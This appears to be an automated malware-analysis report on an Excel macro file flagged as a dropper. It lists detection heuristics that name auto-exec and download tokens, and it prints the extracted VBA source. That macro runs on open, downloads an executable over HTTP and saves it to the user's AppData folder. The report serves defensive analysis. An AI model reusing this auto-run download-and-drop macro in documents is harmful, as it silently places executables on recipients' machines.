Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0fd4100d9513c8f4…

MALICIOUS

Office (OOXML)

14.5 KB Created: 2021-01-31 12:17:15 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-09
MD5: 5af8c5c0744c913ec7c4f27fa6c4f7d8 SHA-1: 8f0ea70d66b1ccdabb74e2343a15299a5d44151f SHA-256: 0fd4100d9513c8f4fd98a75e54220c41cf3c7b1b00d34d83e413f7b995c96abd
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://nodejs.org/dist/latest-v12.x/win-x86/node.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1299 bytes
SHA-256: 3131516baec3239ab43059576f497c8c8f809fe0f34581e68e480e0f022c72b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()

MsgBox "Welcome to ANALYSIS TABS"
download_file

End Sub

Sub download_file()
Dim myURL As String
myURL = "https://nodejs.org/dist/latest-v12.x/win-x86/node.exe"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "username", "password"
WinHttpReq.send

If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile "C:\Users\R4PT0R\AppData\Roaming\file.exe", 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
End If
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 181d22bdefd4e89fb24d955075f8fce370c70c41fad09fb5e4fd94a59cd878c4
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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